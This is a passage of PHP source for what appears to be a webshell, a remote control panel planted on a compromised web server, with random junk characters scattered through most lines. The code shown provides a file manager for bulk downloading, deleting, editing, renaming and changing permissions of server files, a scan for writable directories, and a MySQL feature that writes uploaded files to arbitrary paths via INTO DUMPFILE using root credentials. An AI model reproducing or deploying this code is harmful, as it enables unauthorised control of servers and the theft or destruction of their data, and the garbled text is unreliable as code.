  328.                 }1 g2 i6 u$ S8 f2 U% ?  T/ U
  329.         }
    ! Z: I. p4 y6 p1 ^( I* n

  330. & X6 H, ~5 P% @9 ?; J$ ~' {7 W
  331.         // 打包下载
    + _, f5 s7 D# U5 H5 U, v
  332.         elseif($doing == 'downrar') {
    : \$ J/ m3 m" f# y
  333.                 if ($dl) {+ S' l7 R$ O0 O$ z/ n2 F
  334.                         $dfiles='';4 u/ o6 r5 \! E, ?+ X, z
  335.                         foreach ($dl as $filepath => $value) {/ E" v9 q/ O# ~8 c# W
  336.                                 $dfiles.=$filepath.',';
    7 d+ M' P- J4 L5 j
  337.                         }0 \  w/ u& \3 i; D+ E7 O8 i* b
  338.                         $dfiles=substr($dfiles,0,strlen($dfiles)-1);* D2 w9 a% H0 P; V: E) c1 s
  339.                         $dl=explode(',',$dfiles);
    0 t+ K, i1 h' G' g8 E" q
  340.                         $zip=new PHPZip($dl);' h& ^9 O) g6 ~6 `1 v7 r
  341.                         $code=$zip->out;6 a! l2 b3 o" j8 O
  342.                         header('Content-type: application/octet-stream');$ l1 J- I6 ~7 B8 H
  343.                         header('Accept-Ranges: bytes');; O3 H, z7 }! @
  344.                         header('Accept-Length: '.strlen($code));. x+ t. l5 M* W  N# }% ~
  345.                         header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
    2 O: M+ v) L9 _  U" O0 l; P
  346.                         echo $code;
    7 i) R( {; o/ K
  347.                         exit;4 D+ f5 U; c9 ^5 W
  348.                 } else {/ s% g$ a) b( i, Z: ], P$ N1 A
  349.                         m('Please select file(s)');  m* @: q; N5 i
  350.                 }+ X$ ?& m1 A) r& i  n
  351.         }: S% w; d. |; Z# r1 d+ ^" i

  352. & l+ E; K1 [- t7 A7 ?7 j  {
  353.         // 批量删除文件% t1 i1 b7 P6 B
  354.         elseif($doing == 'delfiles') {, n% X) a9 x2 u- _# ?4 _& n) i5 J
  355.                 if ($dl) {! Z% u' u  r, T3 T: H& L
  356.                         $dfiles='';* V* Y8 i4 w4 P7 ^& H* q
  357.                         $succ = $fail = 0;
    2 v9 g( ~6 |, I* U' o& s4 N
  358.                         foreach ($dl as $filepath => $value) {# I2 v0 o% i# v* J, o
  359.                                 if (@unlink($filepath)) {
    ) i% [* p* I% l. n. O, \
  360.                                         $succ++;
    : z8 O7 a# L8 C: b
  361.                                 } else {, N$ B% ~, a' C2 b7 n* z
  362.                                         $fail++;0 g+ c3 Z/ W" ]
  363.                                 }& n' f4 s- J" a4 J/ D7 G3 m, T
  364.                         }
    ' K+ {1 S: i4 H
  365.                         m('Deleted file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);, v4 C  q; z9 G8 u$ W! n$ ~$ X  L
  366.                 } else {
    9 @6 E$ b0 q0 O
  367.                         m('Please select file(s)');
    , e* W) u- \2 C. `/ C! C: Z+ J
  368.                 }( y3 I2 h! H5 `
  369.         }
    ! `( L4 [, ?0 w$ Y! y6 C5 E5 h

  370. $ X& {& q' b" ~: `0 l9 D
  371.         //操作完毕# e+ N. z9 U  w* G" B
  372.         formhead(array('name'=>'createdir'));6 I: A4 d5 l3 d) G' w. l8 [: c: O
  373.         makehide('newdirname');( m$ ?$ O/ K; I! r) ?8 D3 B
  374.         makehide('dir',$nowpath);
    / }) e. [, I% Y! C& [. J2 G
  375.         formfoot();9 `. ?5 F+ g" M4 {! j3 y
  376.         formhead(array('name'=>'fileperm'));' o5 W$ @& y8 _
  377.         makehide('newperm');: t0 g# \* b1 C+ N, D; i3 i4 s
  378.         makehide('pfile');
    + U0 U2 v$ q1 v4 n% B  O
  379.         makehide('dir',$nowpath);: v" R/ ~+ i; E' t; Y  z0 A
  380.         formfoot();
    : ~% q% A- E. ^  o
  381.         formhead(array('name'=>'copyfile'));1 A/ i' T& C4 G0 ~
  382.         makehide('sname');
    ) X  B. o" X0 e, `, [% M
  383.         makehide('tofile');
    % r- F% x4 f5 {4 Y% |
  384.         makehide('dir',$nowpath);
    * Q2 b: w0 H0 d; E* t. j) r9 T
  385.         formfoot();
    0 G  q1 D: ]- r: k  A* l
  386.         formhead(array('name'=>'rename'));( R. q( ]' w0 w( I
  387.         makehide('oldname');
    * Y! Z+ x8 L) J" s, R* N1 E
  388.         makehide('newfilename');
    7 A' X0 S( |4 \9 D5 C' u6 a/ |
  389.         makehide('dir',$nowpath);
    , X( ~3 V% {- b
  390.         formfoot();
    9 w% g) n& d+ Q+ g" `2 ^
  391.         formhead(array('name'=>'fileopform'));
    ; u* J3 L% q# t6 D
  392.         makehide('action');& P, B' `  l) b3 I  j7 M% V& B4 P
  393.         makehide('opfile');
    2 S: ?" M7 `1 U0 V* A" ~. i5 a
  394.         makehide('dir');' _+ a* l" v% f+ r4 b6 g
  395.         formfoot();% E' q( f7 [3 }3 f2 E* m2 U
  396. " K! x7 U1 ~8 M  e' {
  397.         $free = @disk_free_space($nowpath);$ Q. n7 {/ @, W9 C! W
  398.         !$free && $free = 0;, ]- U) F7 {. Z5 ^  z4 _
  399.         $all = @disk_total_space($nowpath);
    . @) Y  \6 r  H% L' n" F9 h
  400.         !$all && $all = 0;
      c- w8 D/ v. H9 W# _
  401.         $used = $all-$free;
    ( `+ O* l( x. U) \
  402.         $used_percent = @round(100/($all/$free),2);+ X9 q) C7 r, L# b2 Y1 G
  403.         p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');
    + j, H6 x0 ?3 i+ x  x- n
  404. " U" G: L: }) K* h! ~% z# V; }
  405. ?>
    0 u4 C0 W. }3 n2 z$ p
  406. <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">7 _! \8 `* E, k* N% p1 `
  407.   <form action="" method="post" id="godir" name="godir">* Q; B5 o6 g. L* y( Y2 @
  408.   <tr>
    " l; ?7 w- B% J9 v0 c
  409.     <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>* ?- G" S9 j' R# e, w8 V4 f
  410.         <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
    * p) L" s, p9 Y/ F
  411.     <td nowrap><input class="bt" value="GO" type="submit"></td>
    : r  u, ]' S; x, ^
  412.   </tr>
      n9 K5 z: t# y3 ^& C
  413.   </form>! P/ c' L& m, h+ J) y9 r% R, j
  414. </table>& t" l6 D1 i" e; F% A8 C! d( R
  415. <script type="text/javascript">
    5 ^% D3 Q/ D2 }+ N1 T
  416. function createdir(){
    ' m! C. f% H9 S- j& p/ i
  417.         var newdirname;
    : e8 n8 Y* n, `, U: b+ V
  418.         newdirname = prompt('Please input the directory name:', '');1 H. w- |8 o! r0 l! A/ W
  419.         if (!newdirname) return;
    % N* m* y/ u  x  W6 C
  420.         $('createdir').newdirname.value=newdirname;
    " _7 ?! J" t! E- r
  421.         $('createdir').submit();
    ! m, W, ?  p+ |+ O, r7 @9 M
  422. }
    ' c7 @: w  Q1 t" L, D( L
  423. function fileperm(pfile){; o# G8 e' V! J# N" ?2 O2 \
  424.         var newperm;
    9 x" e5 W. Q; [# Z& Z7 I1 e
  425.         newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');4 p4 H; n8 z7 p+ d) e' g
  426.         if (!newperm) return;* \& ^2 C  q! m& n0 M. J, [* C
  427.         $('fileperm').newperm.value=newperm;' y; l- E6 ^7 @7 J$ _0 t
  428.         $('fileperm').pfile.value=pfile;
    2 ~; q) S" m) {; D+ d* a
  429.         $('fileperm').submit();
    3 h$ U6 o( E5 t$ E- _4 M
  430. }
    ; w3 v+ f( X8 M0 ]) K
  431. function copyfile(sname){
    & n  q+ X$ P  ?  B' a* \5 G* w2 e  ^
  432.         var tofile;
    6 j6 @0 z% L: X1 H2 U* W
  433.         tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');8 u% d, a2 L0 e2 u* n* b: c4 Q$ U$ t
  434.         if (!tofile) return;
    ( S. i2 q7 a2 ~2 v
  435.         $('copyfile').tofile.value=tofile;" l9 X9 x0 N  w6 i# l
  436.         $('copyfile').sname.value=sname;
    9 l. s# w1 Z" q' X" E
  437.         $('copyfile').submit();! U% P3 G( G3 j0 e5 X9 L
  438. }
    6 _1 Y. `3 g$ W& k* n. `
  439. function rename(oldname){7 a% P0 g" S$ X! t
  440.         var newfilename;2 l6 l4 c) x; ?% L+ N0 T6 g
  441.         newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
    3 W! ~$ U. A4 T4 |: @
  442.         if (!newfilename) return;
    9 D6 T1 e* Y: I- z
  443.         $('rename').newfilename.value=newfilename;
    3 U# E( r( \, @- X
  444.         $('rename').oldname.value=oldname;& h8 N2 H. E% g! \& m5 x
  445.         $('rename').submit();
    % i; e! j4 D4 g+ L4 X- c# m
  446. }
    % t9 [& N3 y7 U" G% M
  447. function dofile(doing,thefile,m){
    ' M3 d2 d3 {3 B, F8 F0 ~
  448.         if (m && !confirm(m)) {- h" A# u( h3 O+ C
  449.                 return;
    " |& I# s4 E, _
  450.         }6 N6 T2 x- ?1 S0 c7 ~; _% I
  451.         $('filelist').doing.value=doing;: q: o+ k) \. J9 E5 U: M6 t7 z
  452.         if (thefile){4 Z( \9 S# X2 H
  453.                 $('filelist').thefile.value=thefile;+ g* `, ]5 f# O1 ~6 D* e
  454.         }9 e3 n5 N- }$ ^5 I  e% p
  455.         $('filelist').submit();
    , x6 x8 I$ h. f
  456. }
    : V' Y1 s4 M& ~) W3 b9 m
  457. function createfile(nowpath){
    8 n$ ?' N) y) x6 D8 E/ e7 E  {
  458.         var filename;
    8 w# p) l4 A$ l0 A
  459.         filename = prompt('Please input the file name:', '');, y2 j) g0 z  F: P
  460.         if (!filename) return;1 p$ G' @+ |8 C$ @
  461.         opfile('editfile',nowpath + filename,nowpath);" H. e; A( N" A, f
  462. }
    3 h8 {* h: @; G0 `' ~0 P2 @
  463. function opfile(action,opfile,dir){3 O. m3 L0 N, Z9 `+ F. ^/ Z
  464.         $('fileopform').action.value=action;
    4 r# v6 [2 w* y: Z2 B' @  \
  465.         $('fileopform').opfile.value=opfile;
    6 f0 W# w3 ?& t5 L( _' p$ V
  466.         $('fileopform').dir.value=dir;2 X- G+ g4 W% _5 A4 y, E$ W
  467.         $('fileopform').submit();
    0 x4 k' p9 M1 @6 E. T  w' F" M
  468. }3 L7 |8 y$ j  T
  469. function godir(dir,view_writable){8 V+ {6 M' {" v7 O- E0 S
  470.         if (view_writable) {% C. ~0 y# S% u+ T) N
  471.                 $('godir').view_writable.value=1;  M3 I' p* _$ Y$ T6 L4 t
  472.         }
    * n& V4 f- K1 J* t6 A& L
  473.         $('godir').dir.value=dir;
    # o) f0 v9 I( x* a. X& K) @
  474.         $('godir').submit();2 ^2 ]/ [2 Z+ q# \/ J
  475. }" R4 E* w9 {# s* P: s) Z4 I1 j  E, m
  476. </script>; M+ \5 F- M: Z
  477.   <?php
    + A! e- l, [9 h! V
  478.         tbhead();. R) l2 w7 ~' ]8 E
  479.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
    - |" t+ q8 X+ \" W! C- z- i" B! g
  480.         p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
    ( @; H7 v, f3 S3 b
  481.         p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');& `5 m$ R/ @! o
  482.         if ($view_writable) {
    " Z5 r, w3 a3 _$ Q2 A3 s2 @
  483.                 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
    - h7 m( Y% W! Z; M
  484.         } else {
    & N/ {) ^: @8 W8 ]
  485.                 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');! Z% @+ K# P8 t) i  R+ {
  486.         }
    9 M) `* d6 r- U
  487.         p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
    . ^" z7 b/ b( f: m
  488.         if (IS_WIN && IS_COM) {% n3 B+ H( `; e8 h: _+ e
  489.                 $obj = new COM('scripting.filesystemobject');
    & G5 A; n9 B. H1 |$ V
  490.                 if ($obj && is_object($obj)) {
    & H2 d' \& a$ p8 m+ G- e. ?
  491.                         $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
    7 h$ e6 o8 S) U) m
  492.                         foreach($obj->Drives as $drive) {
    $ L& S- [3 N8 _
  493.                                 if ($drive->DriveType == 2) {
    " I' E" @" G! d8 T$ \9 I7 C
  494.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'( i2 R3 t# U/ ~7 X  f; o
  495. Free:'.sizecount($drive->FreeSpace).'
    ' W8 V  s/ M8 r- _9 ^7 M
  496. Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');9 y' o2 m, ~/ {* i# R. J
  497.                                 } else {
    $ X% C( i' h. j$ e
  498.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');8 R# h- b7 R9 o( e0 I# e$ H  E  N
  499.                                 }
    ( i7 @4 |6 {: H# J. N; N
  500.                         }: |7 q% s, c# k, ~9 u9 K
  501.                 }7 l: Y7 K: Y/ `+ q5 A
  502.         }
    & P; W2 Q3 z3 i. P4 S8 {

  503. 6 ~5 S# B7 E$ q1 E/ m: M
  504.         p('</td></tr></form>');
    4 l% ]0 F5 w, ~
  505. $ c0 A5 k$ d5 t) Z5 n' g
  506.         p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');% {$ b+ [4 q2 J7 {4 B6 V3 H
  507. 2 v4 C# z7 c- F/ p& X  e9 g
  508.         //查看所有可写文件和目录
    , [( ~' z) m& j- L
  509.         $dirdata=array();8 r& T* S7 W+ `0 f! T
  510.         $filedata=array();! k& y) G, u9 v% G  D; ?
  511. 4 a/ M) Q1 M4 M2 O  x: t
  512.         if ($view_writable) {
    / B. Z8 v% \. _( `3 \9 X* N
  513.                 $dirdata = GetList($nowpath);
    ' t4 K$ H: H/ p: _- i
  514.         } else {7 E( q0 w$ d4 s+ c$ \
  515.                 // 目录列表
    1 c+ H* U4 D# {
  516.                 $dirs=@opendir($dir);$ n% z+ y! \8 t0 @+ R
  517.                 while ($file=@readdir($dirs)) {2 j( F* A% u9 u7 i  I, m8 n* k
  518.                         $filepath=$nowpath.$file;
    0 b9 h/ Q+ a7 s1 h$ M1 x- z
  519.                         if(@is_dir($filepath)){
    7 k: H! ~0 Q/ c# W3 i1 ]
  520.                                 $dirdb['filename']=$file;
    + ]- o, q, \) v' R
  521.                                 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
    , I* I! V! F6 z9 u
  522.                                 $dirdb['dirchmod']=getChmod($filepath);2 H; Y" B! b. `1 @5 _1 v0 x! R' n
  523.                                 $dirdb['dirperm']=getPerms($filepath);
    2 x- G' n4 U9 O
  524.                                 $dirdb['fileowner']=getUser($filepath);" G) I5 z  _2 r6 p" K/ ?
  525.                                 $dirdb['dirlink']=$nowpath;
    & A" W& ^6 S( s) ]6 @/ ?
  526.                                 $dirdb['server_link']=$filepath;
    9 K! M1 R4 Q6 V/ y: _' e& b& r
  527.                                 $dirdb['client_link']=ue($filepath);
    ! I9 S! v  d$ m- v& f
  528.                                 $dirdata[]=$dirdb;
    1 l. J3 H0 c0 s2 [) Z/ n/ x+ h
  529.                         } else {                5 T0 k, [$ J" b
  530.                                 $filedb['filename']=$file;
    : `. w8 I) z2 ^+ H
  531.                                 $filedb['size']=sizecount(@filesize($filepath));: O" y8 u! E$ @5 W2 ]  T; q) T( V
  532.                                 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));6 Z  d) J( [6 S' D$ u( r
  533.                                 $filedb['filechmod']=getChmod($filepath);
    8 E9 M7 z4 H- _5 ?- s
  534.                                 $filedb['fileperm']=getPerms($filepath);
    3 E0 K. s6 P. d# b% t3 c% g! ^
  535.                                 $filedb['fileowner']=getUser($filepath);$ m4 Q) P+ g$ H. g. S0 C
  536.                                 $filedb['dirlink']=$nowpath;
    . ~/ O, B2 W; n
  537.                                 $filedb['server_link']=$filepath;
    $ N4 p! {) x7 U( d! E  W
  538.                                 $filedb['client_link']=ue($filepath);0 `6 N  j  q& D, F" g4 k; Y" W- X
  539.                                 $filedata[]=$filedb;' b, X8 {  `0 F* u
  540.                         }
    7 W: m1 C/ f$ Q
  541.                 }// while
    & l/ e) d( C' k3 Q! r# I2 {  @
  542.                 unset($dirdb);% n+ l& `" a, y' F
  543.                 unset($filedb);
    , G$ {8 O# z! T- s' N- y
  544.                 @closedir($dirs);
    3 m- l3 i% }7 A
  545.         }
    4 o5 {3 o- t4 l' m
  546.         @sort($dirdata);# l, u4 {' V- ]& S! q$ e! K
  547.         @sort($filedata);
    8 E+ q6 p- }9 l5 [- l% A% Z
  548.         $dir_i = '0';5 j7 J( P* Q" O3 [; N* F
  549.         foreach($dirdata as $key => $dirdb){. x. N5 {2 {5 Q, j8 P2 T
  550.                 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
      ^) k: E; V6 a' n
  551.                         $thisbg = bg();
    8 O' R5 ?: V2 t
  552.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');0 D3 M9 j' @3 ~/ m# ^7 E
  553.                         p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');% g1 P7 f( g8 A# D; G5 @: f' S
  554.                         p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');* v+ A. c, x& \3 A0 ?5 i6 }
  555.                         p('<td nowrap>'.$dirdb['mtime'].'</td>');) g+ ~8 ~" G1 O7 \
  556.                         p('<td nowrap>--</td>');
    4 \  R1 |9 T/ p( r1 X& n
  557.                         p('<td nowrap>');1 C* j. t# c! s* A% Y8 L& G  t2 q$ t
  558.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
    5 |1 Q6 @9 _! J1 L8 R5 g
  559.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
    / i. H8 B3 f1 ^: k- Q3 w; |
  560.                         p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
    - e, J  L6 s/ j( p1 `7 k9 }! h
  561.                         p('</tr>');
    ! u% a  o) \* g, N
  562.                         $dir_i++;7 U- C+ f$ c8 q6 Z0 d' \" r. J, w+ r% b
  563.                 } else {
    5 B( o3 w" u/ U0 v
  564.                         if($dirdb['filename']=='..') {
    1 ?8 z+ F& @/ L( N/ c4 G
  565.                                 p('<tr class='.bg().'>');
    7 N1 y- B8 V1 Q+ m$ L
  566.                                 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');7 f' Z/ l$ u( z
  567.                                 p('</tr>');, s: k# _9 [) e0 h6 Q* ~
  568.                         }6 U  C/ w6 J) N; b1 L; M; o
  569.                 }
    & C: [, j. K  x$ s& h$ P
  570.         }/ I* j  b, P# g. O, Y
  571. " m9 N. [8 _' j+ w7 _* m
  572.         p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
    " k/ v5 \2 X3 c5 D: J* W/ P
  573.         p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');: c. k5 T3 Y5 ~- ?( ?
  574.         makehide('action','file');
    " S6 u+ }8 A4 Q3 H9 {) g
  575.         makehide('thefile');4 y. ]7 e' y1 e8 Q* P) q% @" ]# l8 a
  576.         makehide('doing');
    ) h: }  ~4 _, e# Y; _
  577.         makehide('dir',$nowpath);) q3 l3 |- d5 ?6 N0 i/ V' o" O* Z  b
  578.         $file_i = '0';. y, i( e+ i4 \# K  E7 e. m
  579.         foreach($filedata as $key => $filedb){
    1 G* h* z- D! j7 Z
  580.                 if($filedb['filename']!='..' && $filedb['filename']!='.') {
    6 s. w9 Z5 `5 H: s
  581.                         $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
    " e+ [4 S+ F8 z/ t" l- V
  582.                         $thisbg = bg();; u$ e- h. ^( Q
  583.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');) v. l+ r& F7 d1 X: [) }0 ?' h
  584.                         p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');5 @& O4 c# u8 y
  585.                         p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
    $ U  g3 k& D* I& @6 |( A
  586.                         p('<td nowrap>'.$filedb['mtime'].'</td>');
    , I9 |6 p. k# e) ~. \6 P, Y
  587.                         p('<td nowrap>'.$filedb['size'].'</td>');% j/ T) d2 R: \( s2 {9 o1 v: f: u1 G
  588.                         p('<td nowrap>');
    5 Z# o$ U2 h( @7 e( N8 R. v
  589.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
    * [: }& V& u' f$ m- _" s
  590.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');& w2 r$ V, l: n, l" q
  591.                         p('<td nowrap>');
    . ^4 @: e  G3 r) v
  592.                         p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');! i- l3 q! K' p! u5 W1 L
  593.                         p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');$ B4 D9 `: U5 [/ J7 |& j. V
  594.                         p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');& d) ]  V" u5 X3 `2 `0 g% ?& F
  595.                         p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
    ! r* \* v8 T. r2 ^* L  `
  596.                         p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');* d* t+ R; J% A
  597.                         p('</td></tr>');
    ) I% x- y: g8 C5 @7 n, G& q, K
  598.                         $file_i++;
    ' G+ I: r, o. D" k" s
  599.                 }" C7 r, ~/ b0 D* ]
  600.         }( w. R* q! W# ], K  M$ [) y% d/ E) ?
  601.         p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');+ b: O1 x7 X8 y0 M
  602.         p('</form></table>');
    ; a0 ]5 W8 L( S1 h8 s5 N
  603. }// end dir
    3 b4 H( V* T6 v. p) `, D$ u7 Z
  604. + W' g5 E2 A8 w# u
  605. elseif ($action == 'sqlfile') {/ s+ V, D8 g* w0 h1 }
  606.         if($doing=="mysqlupload"){5 J% y  }1 ^. {) ?" C5 k
  607.                 $file = $_FILES['uploadfile'];8 a5 F! j+ \9 S0 ]4 ^  A  [, R
  608.                 $filename = $file['tmp_name'];
    , h1 _. ?0 B* f
  609.                 if (file_exists($savepath)) {0 V5 B! s. O# Q
  610.                         m('The goal file has already existed');/ K* y+ H/ O: {# P  @
  611.                 } else {3 w3 t6 j/ y2 q! p4 a# U4 q4 m" D
  612.                         if(!$filename) {& ^( l) Y9 ~0 I3 j/ ~
  613.                                 m('Please choose a file');
    . I9 _( F" _5 Z# Z
  614.                         } else {) u+ N# G. s7 l! P- Y
  615.                                 $fp=@fopen($filename,'r');$ S% F$ Z9 @5 B! S6 ]! |, x3 |
  616.                                 $contents=@fread($fp, filesize($filename));
    $ k& Z) {( U1 i3 s3 y; x
  617.                                 @fclose($fp);! u* I/ L4 O) A* Y0 {* X" i
  618.                                 $contents = bin2hex($contents);& f$ B8 q3 H! T0 Q, b
  619.                                 if(!$upname) $upname = $file['name'];+ m- f- }6 a+ r: i2 n
  620.                                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);) T, X/ d9 r8 t' W7 b! z9 E0 I6 o
  621.                                 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");* v& ]* n( B  f+ c. P3 g$ V
  622.                                 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
    0 y! Y4 T, n& k' J2 \/ S9 }/ B( V. i
  623.                         }
    ) F; X% e2 Z) v. r8 F5 Z
  624.                 }, S$ F( J2 R5 P. w
  625.         }
    0 n& `  g! e* R) x5 s* Y5 c5 V- V- B
  626. ?>
    & `% u, B1 ~& i. D' r' D$ C( ~# F
  627. <script type="text/javascript">
    ! u$ ~# B4 S: S
  628. function mysqlfile(doing){
    % c8 o; {( R+ ]! _: [$ e+ d0 p
  629.         if(!doing) return;% f5 U$ L: B; p, u, W
  630.         $('doing').value=doing;
    0 z. b3 z* r4 ], L# q
  631.         $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
    . q/ C' I4 J- I. G& m: g7 u
  632.         $('mysqlfile').dbport.value=$('dbinfo').dbport.value;! _( \, k+ W" {+ p3 y. s
  633.         $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;6 e3 K1 j# O) ]+ H4 n( |  \
  634.         $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
    9 x4 j2 g5 C; S
  635.         $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
    - A0 g; f' q: a7 m$ F
  636.         $('mysqlfile').charset.value=$('dbinfo').charset.value;8 v9 `$ E' _! G  E( [* u
  637.         $('mysqlfile').submit();
    / z0 U2 `/ a9 [. |) }
  638. }0 g$ m; I; E" r) v( Q; v
  639. </script>
    6 G6 j: L4 |# I+ _$ h
  640. <?php
    * O; K7 }. j. z
  641.         !$dbhost && $dbhost = 'localhost';  a" I) L& Y: t$ d) T
  642.         !$dbuser && $dbuser = 'root';
    % X5 \' e( T. E3 r
  643.         !$dbport && $dbport = '3306';  S- T3 i  ?2 E/ R. G/ s7 M0 r
  644.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
    - M) O  N1 M; a: n" a
  645.         formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));, A) h+ n; O1 B8 O2 h
  646.         makehide('action','sqlfile');$ T8 [. e4 _+ I) F4 c
  647.         p('<p>');
    # N, U* i( O5 ]  ?6 z  v* C! b) a% A& w
  648.         p('DBHost:');% F8 @* R8 {9 C- f6 E9 F0 d2 h
  649.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
    2 z7 Q0 v' o) d) p" v
  650.         p(':');" M4 }; b! {) Q+ p% ]
  651.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));* T% T( ?0 @, q5 g/ ]/ R
  652.         p('DBUser:');, R' F- g7 }: W5 Y8 N3 E9 U. Y: s4 h
  653.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
    , ]/ }9 b# P0 W3 N$ j  d, U  W
  654.         p('DBPass:');$ H3 r& S+ a$ @9 b5 p# N
  655.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
    6 L7 a6 l1 f: C3 l
  656.         p('DBName:');4 W5 N7 U5 g. m* n2 g1 `$ B( X$ \
  657.         makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
    : w! P0 N+ t( g+ m+ k. X
  658.         p('DBCharset:');
    3 T8 M. D2 O/ _3 j$ N
  659.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
    2 R& J3 C9 p& @" S, m
  660.         p('</p>');: E% V: \' o. d, Z2 m6 Z
  661.         formfoot();
    $ Z) x' D2 o" t3 p4 r3 S
  662.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');. J5 z; Z! H' a; Z) T; T! W
  663.         p('<h2>Upload file</h2>');
    * m& ?5 \+ m  k+ M1 M/ l
  664.         p('<p><b>This operation the DB user must has FILE privilege</b></p>');# K7 U" `9 G$ Z* F! g9 V
  665.         p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');6 L/ j; r; ?1 f7 S: l
  666.         p('<h2>Download file</h2>');% n" `, F9 X( I$ A+ E
  667.         p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
    5 x9 B) A. g) V; }4 i" }
  668.         makehide('dbhost');
    / H! ^6 R. p' h2 n/ H
